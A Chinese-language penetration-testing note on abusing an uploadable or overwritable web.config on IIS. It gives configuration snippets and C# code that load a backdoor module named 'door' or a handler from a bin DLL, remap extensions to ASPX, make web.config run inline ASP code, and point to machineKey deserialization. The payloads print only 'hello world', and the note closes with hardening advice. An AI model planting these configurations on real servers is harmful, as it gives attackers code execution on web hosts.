IIS下web.config利用
IIS下web.config利用
IIS下web.config利用
当遇到可以覆盖/上传web.config时,可参考以下方式利用(均假设IIS>=7)
IIS配置加载流程
除了网站根目录外,子目录也可以有自己的web.config,但子目录有诸多限制
根目录web.config利用
加载托管moudlue
限制:
- 必须为集成模式
- 可上传dll到bin目录
注意:modules不能在子目录的web.config配置
<configuration>
<system.webServer>
<modules>
<add name="door" type="IIS.Module"/>
</modules>
</system.webServer>
</configuration>以下代码编译为dll上传到bin目录
using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
namespace IIS
{
class Module : IHttpModule
{
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.BeginRequest += Context_BeginRequest;
}
private void Context_BeginRequest(object sender, EventArgs e)
{
HttpApplication httpApplication = (HttpApplication)sender;
HttpContext context = httpApplication.Context;
if (context.Request.Path.Contains("door"))
{
context.Response.Write("hello world");
context.Response.End();
context.Response.Close();
httpApplication.CompleteRequest();
return;
}
}
}
}映射扩展名为aspx
注意:buildProviders不能在子目录的web.config配置
<configuration>
<system.web>
<compilation>
<buildProviders>
<add extension=".atxt" type="System.Web.Compilation.PageBuildProvider" />
</buildProviders>
</compilation>
</system.web>
<system.webServer>
<handlers>
<add name="SampleHandler" path="*.atxt" verb="*" type="System.Web.UI.PageHandlerFactory"/>
</handlers>
</system.webServer>
</configuration>web.config作为aspx
注意:buildProviders不能在子目录的web.config配置
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
<add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
<validation validateIntegratedModeConfiguration="false" />
</system.webServer>
<system.web>
<compilation defaultLanguage="vb">
<buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
</httpHandlers>
</system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
Response.write("hello world")
Response.write("<!-"&"-")
%>
-->https://soroush.me/blog/tag/web-config
machineKey反序列化
通过web.config设置machineKey,通过反系列化执行任意代码
https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
本地moudlue
根据微软文档,本地模块需要先注册才能使用
注册后配置保存在%windir%\system32\inetsrv\config\applicationhost.config
https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
子目录web.config利用
加载托管handlers
限制:
- 要上传dll到根目录下bin目录
- 必须为集成模式
- web.config可上传任意目录,比如二级目录
<configuration>
<system.webServer>
<handlers>
<add name="h" type="IIS.Handle" verb="*" path="h"/>
</handlers>
</system.webServer>
</configuration>以下代码编译为dll上传到bin目录
using System.Web;
namespace IIS
{
public class Handle : IHttpHandler
{
public bool IsReusable => true;
public void ProcessRequest(HttpContext context)
{
context.Response.Write("hello world");
context.Response.End();
context.Response.Close();
}
}
}ISAPI Handlers
ISAPI处理器需要先注册/允许才会生效,这种方法不奏效
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.txt" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\xxx.dll" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
</handlers>
</system.webServer>
</configuration>防御
最主要还是通过文件权限防止修改/创建web.config,以及bin目录
allowSubDirConfig
通过allowSubDirConfig配置不允许子目录配置
lockItem
通过lockItem="true"锁定配置,不允许子目录覆盖配置
https://soroush.me/blog/tag/web-config/